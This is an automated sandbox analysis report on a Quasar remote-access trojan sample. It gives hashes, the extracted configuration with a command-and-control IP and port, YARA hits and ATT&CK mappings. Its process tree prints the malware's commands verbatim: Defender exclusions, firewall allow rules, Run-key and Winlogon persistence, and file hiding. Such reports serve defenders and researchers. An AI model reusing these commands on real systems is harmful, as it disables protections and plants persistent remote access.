quasar | 295a185629cf9edf7bcdddd8cf1a68c95bb82f4debfad3f5540075feada42d85

Analysis

max time kernel
59s
max time network
152s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
01-08-2023 10:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c58cc6410dfc930c70caded805f88e2d.exe
Size

1.4MB
MD5

c58cc6410dfc930c70caded805f88e2d
SHA1

0367375fad04729c9f53b18436e08ff1fe76c153
SHA256

295a185629cf9edf7bcdddd8cf1a68c95bb82f4debfad3f5540075feada42d85
SHA512

8540fd3c97604837b15e0c3d498edc8b0acf3ee93aae95a753ac3fed6416b2e5273938bf0f134ef96bcb9a0cfec16ab7a452865e36abeb0e43d6d096cbbba065
SSDEEP

24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk

Score

10^/10

quasar -evasion persistence spyware trojan upx

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

94.131.105.161:12344

Mutex

QSR_MUTEX_UEgITWnMKnRP3EZFzK

Attributes

encryption_key
5Q0JQBQQfAUHRJTcAIOF
install_name
lient.exe
log_directory
Lugs
reconnect_delay
3000
startup_key
itartup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 5 IoCs

resource	yara_rule
behavioral1/memory/2700-191-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2700-193-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2700-198-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2700-203-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2700-201-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
1720	netsh.exe
380	netsh.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x000b00000001223d-134.dat	acprotect
behavioral1/files/0x000b00000001223d-133.dat	acprotect

Executes dropped EXE 3 IoCs

pid	Process
2664	7z.exe
1904	ratt.exe
2280	ratt.exe

Loads dropped DLL 5 IoCs

pid	Process
2092	cmd.exe
2092	cmd.exe
2664	7z.exe
1936	powershell.exe
2092	cmd.exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0009000000015eae-126.dat	upx
behavioral1/files/0x0009000000015eae-127.dat	upx
behavioral1/files/0x0009000000015eae-129.dat	upx
behavioral1/files/0x000b00000001223d-134.dat	upx
behavioral1/files/0x000b00000001223d-133.dat	upx
behavioral1/memory/2664-132-0x0000000000400000-0x0000000000432000-memory.dmp	upx
behavioral1/files/0x0009000000015eae-131.dat	upx
behavioral1/memory/2664-135-0x0000000010000000-0x00000000100E2000-memory.dmp	upx
behavioral1/memory/2664-139-0x0000000000400000-0x0000000000432000-memory.dmp	upx

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ratt = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ratt.exe"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery

T1018

pid	Process
536	PING.EXE
1876	PING.EXE
2232	PING.EXE
340	PING.EXE
872	PING.EXE

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2124	powershell.exe
1288	powershell.exe
1044	powershell.exe
1808	powershell.exe
2896	powershell.exe
1936	powershell.exe
1904	ratt.exe
2280	ratt.exe
2280	ratt.exe
1904	ratt.exe
2280	ratt.exe
2280	ratt.exe
1904	ratt.exe
2280	ratt.exe
2280	ratt.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2816	WMIC.exe
Token: SeSecurityPrivilege	2816	WMIC.exe
Token: SeTakeOwnershipPrivilege	2816	WMIC.exe
Token: SeLoadDriverPrivilege	2816	WMIC.exe
Token: SeSystemProfilePrivilege	2816	WMIC.exe
Token: SeSystemtimePrivilege	2816	WMIC.exe
Token: SeProfSingleProcessPrivilege	2816	WMIC.exe
Token: SeIncBasePriorityPrivilege	2816	WMIC.exe
Token: SeCreatePagefilePrivilege	2816	WMIC.exe
Token: SeBackupPrivilege	2816	WMIC.exe
Token: SeRestorePrivilege	2816	WMIC.exe
Token: SeShutdownPrivilege	2816	WMIC.exe
Token: SeDebugPrivilege	2816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2816	WMIC.exe
Token: SeRemoteShutdownPrivilege	2816	WMIC.exe
Token: SeUndockPrivilege	2816	WMIC.exe
Token: SeManageVolumePrivilege	2816	WMIC.exe
Token: 33	2816	WMIC.exe
Token: 34	2816	WMIC.exe
Token: 35	2816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2816	WMIC.exe
Token: SeSecurityPrivilege	2816	WMIC.exe
Token: SeTakeOwnershipPrivilege	2816	WMIC.exe
Token: SeLoadDriverPrivilege	2816	WMIC.exe
Token: SeSystemProfilePrivilege	2816	WMIC.exe
Token: SeSystemtimePrivilege	2816	WMIC.exe
Token: SeProfSingleProcessPrivilege	2816	WMIC.exe
Token: SeIncBasePriorityPrivilege	2816	WMIC.exe
Token: SeCreatePagefilePrivilege	2816	WMIC.exe
Token: SeBackupPrivilege	2816	WMIC.exe
Token: SeRestorePrivilege	2816	WMIC.exe
Token: SeShutdownPrivilege	2816	WMIC.exe
Token: SeDebugPrivilege	2816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2816	WMIC.exe
Token: SeRemoteShutdownPrivilege	2816	WMIC.exe
Token: SeUndockPrivilege	2816	WMIC.exe
Token: SeManageVolumePrivilege	2816	WMIC.exe
Token: 33	2816	WMIC.exe
Token: 34	2816	WMIC.exe
Token: 35	2816	WMIC.exe
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeDebugPrivilege	1288	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	1808	powershell.exe
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeIncreaseQuotaPrivilege	2116	WMIC.exe
Token: SeSecurityPrivilege	2116	WMIC.exe
Token: SeTakeOwnershipPrivilege	2116	WMIC.exe
Token: SeLoadDriverPrivilege	2116	WMIC.exe
Token: SeSystemProfilePrivilege	2116	WMIC.exe
Token: SeSystemtimePrivilege	2116	WMIC.exe
Token: SeProfSingleProcessPrivilege	2116	WMIC.exe
Token: SeIncBasePriorityPrivilege	2116	WMIC.exe
Token: SeCreatePagefilePrivilege	2116	WMIC.exe
Token: SeBackupPrivilege	2116	WMIC.exe
Token: SeRestorePrivilege	2116	WMIC.exe
Token: SeShutdownPrivilege	2116	WMIC.exe
Token: SeDebugPrivilege	2116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2116	WMIC.exe
Token: SeRemoteShutdownPrivilege	2116	WMIC.exe
Token: SeUndockPrivilege	2116	WMIC.exe
Token: SeManageVolumePrivilege	2116	WMIC.exe
Token: 33	2116	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 2092	1260	c58cc6410dfc930c70caded805f88e2d.exe	28
PID 1260 wrote to memory of 2092	1260	c58cc6410dfc930c70caded805f88e2d.exe	28
PID 1260 wrote to memory of 2092	1260	c58cc6410dfc930c70caded805f88e2d.exe	28
PID 1260 wrote to memory of 2092	1260	c58cc6410dfc930c70caded805f88e2d.exe	28
PID 2092 wrote to memory of 2960	2092	cmd.exe	30
PID 2092 wrote to memory of 2960	2092	cmd.exe	30
PID 2092 wrote to memory of 2960	2092	cmd.exe	30
PID 2092 wrote to memory of 2960	2092	cmd.exe	30
PID 2960 wrote to memory of 3024	2960	cmd.exe	31
PID 2960 wrote to memory of 3024	2960	cmd.exe	31
PID 2960 wrote to memory of 3024	2960	cmd.exe	31
PID 2960 wrote to memory of 3024	2960	cmd.exe	31
PID 2092 wrote to memory of 2848	2092	cmd.exe	32
PID 2092 wrote to memory of 2848	2092	cmd.exe	32
PID 2092 wrote to memory of 2848	2092	cmd.exe	32
PID 2092 wrote to memory of 2848	2092	cmd.exe	32
PID 2848 wrote to memory of 2816	2848	cmd.exe	33
PID 2848 wrote to memory of 2816	2848	cmd.exe	33
PID 2848 wrote to memory of 2816	2848	cmd.exe	33
PID 2848 wrote to memory of 2816	2848	cmd.exe	33
PID 2092 wrote to memory of 2124	2092	cmd.exe	35
PID 2092 wrote to memory of 2124	2092	cmd.exe	35
PID 2092 wrote to memory of 2124	2092	cmd.exe	35
PID 2092 wrote to memory of 2124	2092	cmd.exe	35
PID 2092 wrote to memory of 1288	2092	cmd.exe	36
PID 2092 wrote to memory of 1288	2092	cmd.exe	36
PID 2092 wrote to memory of 1288	2092	cmd.exe	36
PID 2092 wrote to memory of 1288	2092	cmd.exe	36
PID 2092 wrote to memory of 1044	2092	cmd.exe	37
PID 2092 wrote to memory of 1044	2092	cmd.exe	37
PID 2092 wrote to memory of 1044	2092	cmd.exe	37
PID 2092 wrote to memory of 1044	2092	cmd.exe	37
PID 2092 wrote to memory of 1808	2092	cmd.exe	38
PID 2092 wrote to memory of 1808	2092	cmd.exe	38
PID 2092 wrote to memory of 1808	2092	cmd.exe	38
PID 2092 wrote to memory of 1808	2092	cmd.exe	38
PID 2092 wrote to memory of 2896	2092	cmd.exe	39
PID 2092 wrote to memory of 2896	2092	cmd.exe	39
PID 2092 wrote to memory of 2896	2092	cmd.exe	39
PID 2092 wrote to memory of 2896	2092	cmd.exe	39
PID 2092 wrote to memory of 2664	2092	cmd.exe	40
PID 2092 wrote to memory of 2664	2092	cmd.exe	40
PID 2092 wrote to memory of 2664	2092	cmd.exe	40
PID 2092 wrote to memory of 2664	2092	cmd.exe	40
PID 2092 wrote to memory of 1936	2092	cmd.exe	43
PID 2092 wrote to memory of 1936	2092	cmd.exe	43
PID 2092 wrote to memory of 1936	2092	cmd.exe	43
PID 2092 wrote to memory of 1936	2092	cmd.exe	43
PID 1936 wrote to memory of 1720	1936	powershell.exe	44
PID 1936 wrote to memory of 1720	1936	powershell.exe	44
PID 1936 wrote to memory of 1720	1936	powershell.exe	44
PID 1936 wrote to memory of 1720	1936	powershell.exe	44
PID 1936 wrote to memory of 380	1936	powershell.exe	45
PID 1936 wrote to memory of 380	1936	powershell.exe	45
PID 1936 wrote to memory of 380	1936	powershell.exe	45
PID 1936 wrote to memory of 380	1936	powershell.exe	45
PID 1936 wrote to memory of 2424	1936	powershell.exe	46
PID 1936 wrote to memory of 2424	1936	powershell.exe	46
PID 1936 wrote to memory of 2424	1936	powershell.exe	46
PID 1936 wrote to memory of 2424	1936	powershell.exe	46
PID 2424 wrote to memory of 2116	2424	cmd.exe	47
PID 2424 wrote to memory of 2116	2424	cmd.exe	47
PID 2424 wrote to memory of 2116	2424	cmd.exe	47
PID 2424 wrote to memory of 2116	2424	cmd.exe	47

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1364	attrib.exe

C:\Users\Admin\AppData\Local\Temp\c58cc6410dfc930c70caded805f88e2d.exe
"C:\Users\Admin\AppData\Local\Temp\c58cc6410dfc930c70caded805f88e2d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup myip.opendns.com. resolver1.opendns.com
      4⤵
      PID:3024
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic ComputerSystem get Domain
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2816
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2124
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1288
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1044
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1808
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2896
- - C:\Users\Admin\AppData\Local\Temp\7z.exe
    7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2664
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1936
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:1720
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:380
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2424
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic computersystem where name="DSWJWADP" set AutomaticManagedPagefile=False
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2116
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:2356
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
        5⤵
        
        PID:2464
  - - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
      "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1904
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 6 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        
        PID:2264
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 6
        6⤵
        Runs ping.exe
        
        PID:340
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        6⤵
        
        PID:112
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 19 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 19 > nul && "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:2052
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 19
        6⤵
        Runs ping.exe
        
        PID:872
  - - C:\Windows\SysWOW64\attrib.exe
      "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Views/modifies file attributes
      PID:1364
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
    3⤵
    - Adds Run key to start application
    PID:2204
- - C:\Users\Admin\AppData\Local\Temp\ratt.exe
    "ratt.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2280
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 6 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
      4⤵
      PID:1948
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 6
        5⤵
        Runs ping.exe
        
        PID:1876
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        
        PID:1744
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 19 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 19 > nul && "C:\Users\Admin\Music\rot.exe"
      4⤵
      PID:2916
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 19
        5⤵
        Runs ping.exe
        
        PID:2232
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 19
        5⤵
        Runs ping.exe
        
        PID:536
    - - C:\Users\Admin\Music\rot.exe
        
        "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:1084
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

Filesize
137.8MB

MD5
02f29e5c2a04f11ea3ee55b0f0989138

SHA1
bc7bc6840a6e1190332bb4f98e7add59042ba993

SHA256
55903ea33fde9e7bdcb7e97bf4289ab9c5d669cbac72eb36fcdd56561bcb22d3

SHA512
92ff6f2289ae7690ddd89975e027b86d690f4a9accb0da261ae5cbe5eca8d2370d322cc31bf33e5d2da6f5351d1b8aeb1eaf278a80d805f731e0beb775b3b1b1

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe

Filesize
133.5MB

MD5
acb78ee75bbad5ff2e85c70a8dcd00ef

SHA1
786c334408c8c8f06002b6d5f023091e98d3effb

SHA256
accd2df24536767814055549e7bcb6d1433c23ed4a4ef138b45881a9a9ae1a90

SHA512
32e20d0996cf60d126102991ba0a9d846351040052dbe24fa4b41ddf64efb95ba0e97731ba45b96c3764b23658367c6d381baaedaf088f19967206c1dd5b787d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Add.ps1

Filesize
1KB

MD5
0df43097e0f0acd04d9e17fb43d618b9

SHA1
69b3ade12cb228393a93624e65f41604a17c83b6

SHA256
c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873

SHA512
01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.7z

Filesize
693KB

MD5
7de6fdf3629c73bf0c29a96fa23ae055

SHA1
dcb37f6d43977601c6460b17387a89b9e4c0609a

SHA256
069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff

SHA512
d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.bat

Filesize
1KB

MD5
7ea1fec84d76294d9256ae3dca7676b2

SHA1
1e335451d1cbb6951bc77bf75430f4d983491342

SHA256
9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

SHA512
ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.bat

Filesize
1KB

MD5
7ea1fec84d76294d9256ae3dca7676b2

SHA1
1e335451d1cbb6951bc77bf75430f4d983491342

SHA256
9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

SHA512
ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
344.4MB

MD5
b3f2bdb14e03437041601b9155b95f0e

SHA1
7cf0ec68089517ce75c6e9db216e39d7715272c7

SHA256
268a0f1427d9312153623f7d9bd5b258a0bf2ffe27cee8303f0a5a6142b5199f

SHA512
a0e11d347cd82b946916c7fb343fe060cbed37b0c5c7c88fcfdf0be4b3a31dfb2d2f608925fed044825ef46e6cdfedbc418036b7abb1a574f270495d3d96c015

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
121.1MB

MD5
7159c79209ccc84f3021506f375b7f5c

SHA1
a76c8a14ed84ac0cbc3a1e87f52c3a41a44ae3cf

SHA256
9b4a211a1004e07aae0c9a55361ddc7a7d2868cb4d4d95f1934eb2d370c53c69

SHA512
31ca3326ed6afe78bfb27b447fd25825b6d21934e03a7ca3cdbb034f57e04ea5411cd34c9f72c9b804e357825dfab80234ac7856dafee3868a2e67caab92791d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\C7NMECMAYVRQQRDF1HPR.temp

Filesize
7KB

MD5
1b30a3b53243191aa69600196f0df25c

SHA1
4bd1cac8cd4c5c5a13f740d4d3cbc3c28198e8b1

SHA256
8811bdcaaf93ac47a3ebae205403a01f4e77733f7e65ad2cb45e2e89965d0e08

SHA512
8bddfbd395519b954f9e11e7409f3baeabe99798bde76f0c7e5190b599b83ef5a108688dec5068c84f6b4aeb6302301519baaebe29b4cddedc47d38810ebc401

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
1b30a3b53243191aa69600196f0df25c

SHA1
4bd1cac8cd4c5c5a13f740d4d3cbc3c28198e8b1

SHA256
8811bdcaaf93ac47a3ebae205403a01f4e77733f7e65ad2cb45e2e89965d0e08

SHA512
8bddfbd395519b954f9e11e7409f3baeabe99798bde76f0c7e5190b599b83ef5a108688dec5068c84f6b4aeb6302301519baaebe29b4cddedc47d38810ebc401

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
1b30a3b53243191aa69600196f0df25c

SHA1
4bd1cac8cd4c5c5a13f740d4d3cbc3c28198e8b1

SHA256
8811bdcaaf93ac47a3ebae205403a01f4e77733f7e65ad2cb45e2e89965d0e08

SHA512
8bddfbd395519b954f9e11e7409f3baeabe99798bde76f0c7e5190b599b83ef5a108688dec5068c84f6b4aeb6302301519baaebe29b4cddedc47d38810ebc401

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
1b30a3b53243191aa69600196f0df25c

SHA1
4bd1cac8cd4c5c5a13f740d4d3cbc3c28198e8b1

SHA256
8811bdcaaf93ac47a3ebae205403a01f4e77733f7e65ad2cb45e2e89965d0e08

SHA512
8bddfbd395519b954f9e11e7409f3baeabe99798bde76f0c7e5190b599b83ef5a108688dec5068c84f6b4aeb6302301519baaebe29b4cddedc47d38810ebc401

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
1b30a3b53243191aa69600196f0df25c

SHA1
4bd1cac8cd4c5c5a13f740d4d3cbc3c28198e8b1

SHA256
8811bdcaaf93ac47a3ebae205403a01f4e77733f7e65ad2cb45e2e89965d0e08

SHA512
8bddfbd395519b954f9e11e7409f3baeabe99798bde76f0c7e5190b599b83ef5a108688dec5068c84f6b4aeb6302301519baaebe29b4cddedc47d38810ebc401

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
1b30a3b53243191aa69600196f0df25c

SHA1
4bd1cac8cd4c5c5a13f740d4d3cbc3c28198e8b1

SHA256
8811bdcaaf93ac47a3ebae205403a01f4e77733f7e65ad2cb45e2e89965d0e08

SHA512
8bddfbd395519b954f9e11e7409f3baeabe99798bde76f0c7e5190b599b83ef5a108688dec5068c84f6b4aeb6302301519baaebe29b4cddedc47d38810ebc401

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
52.6MB

MD5
ef131b492de234a3b51126f92aafc15b

SHA1
09e3612daf3a2c0c55174e29dff91c7f08fdb659

SHA256
aa470b1372dfa1ea1a57ad2860442519c0ca5e3114708666bd41129de680ac28

SHA512
